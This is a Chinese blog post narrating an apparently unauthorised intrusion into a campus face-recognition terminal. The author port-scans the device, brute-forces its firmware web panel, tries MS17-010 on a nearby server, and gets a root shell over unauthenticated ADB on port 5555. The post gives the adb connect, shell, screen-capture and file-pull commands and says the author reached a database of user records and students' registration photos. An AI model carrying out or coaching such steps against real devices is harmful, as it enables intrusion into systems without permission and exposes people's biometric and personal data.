如何调戏人脸认证系统

起因

某天回宿舍的路上,发现人脸认证的设备屏幕上有一小串小小的数字,仔细一看发现是IP地址以及设备序列号,回宿舍进校园网,发现可以ping通这台机器,于是就有了这篇文章。

渗透开始

端口扫描

8090端口为web端,固件升级系统

密码爆破为12345678

后台功能太少基本没什么可利用的点,只能上传.zip格式的文件且对文件名还有限制,即使fuzz到包名也不能直接传上去,因为有可能直接覆盖掉设备的程序,动静就太大了,遂放弃…

随后对同网段的机器进行了扫描,发现了一台IP为10.xxx.xx.253的机器,开放了很多端口,开始踩坑以为是由这台服务器对每个人脸认证设备进行的控制,直到后来才发现不是这么回事。

ip为10.xxx.xx.253的机器开放了445端口,并且检测发现有MS17010漏洞,遗憾的是没有成功。

回到认证设备,5555端口就有意思了,5555端口是安卓adb服务默认监听的端口,而且早期的安卓设备并没有对其进行认证,所以可以试试能不能直接adb连接。

KALI安装adb

1
sudo apt-get install adb

尝试连接

1
adb connect 10.xxx.xx.xx:5555

查看列表

1
adb devices

因为连了多个设备,所以可以采用-s参数进行指定连接。

1
adb -s 10.xxx.xx.xx:5555 shell

直接root权限,可以在shell下使用screencapscreenrecord命令进行截屏以及录屏,然后将文件pull到本地。

1
2
screencap -p /sdcard/1.png
adb -s 10.xxx.xx.xx:5555 pull /sdcard/1.png .

录屏

1
2
screenrecord --time-limit 10 /sdcard/1.mp4
adb -s 10.xxx.xxx.xxx:5555 pull /sdcard/1.mp4 .

查看进程发现有其中带有face字眼的进程,跟着名字找了找目录,就很快发现了软件安装目录。

好了,SQLite数据库,用户信息都在里面了。并且faceRegister目录存放了所有已完成注册的学生照片(验证了前面的坑)。

后面找了一下软件的安装包

1
busybox1.11 find / -name *.apk

很显眼的一个文件名,安装到模拟器提示序列号不存在。

不搞了,后续有啥好玩的思路再发吧。

总结

打厚码是为了不想让同校的同学看到搞破坏,毕竟这没有什么技术含量。

后续会和老师沟通这件事,还好设备是在内网,不至于造成什么损失。

最后

当你在凝视深渊时,深渊也在凝视你。

文章作者: Linuz
文章链接: https://linuz.me/2021/04/05/Pentest-face-authentication-device/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次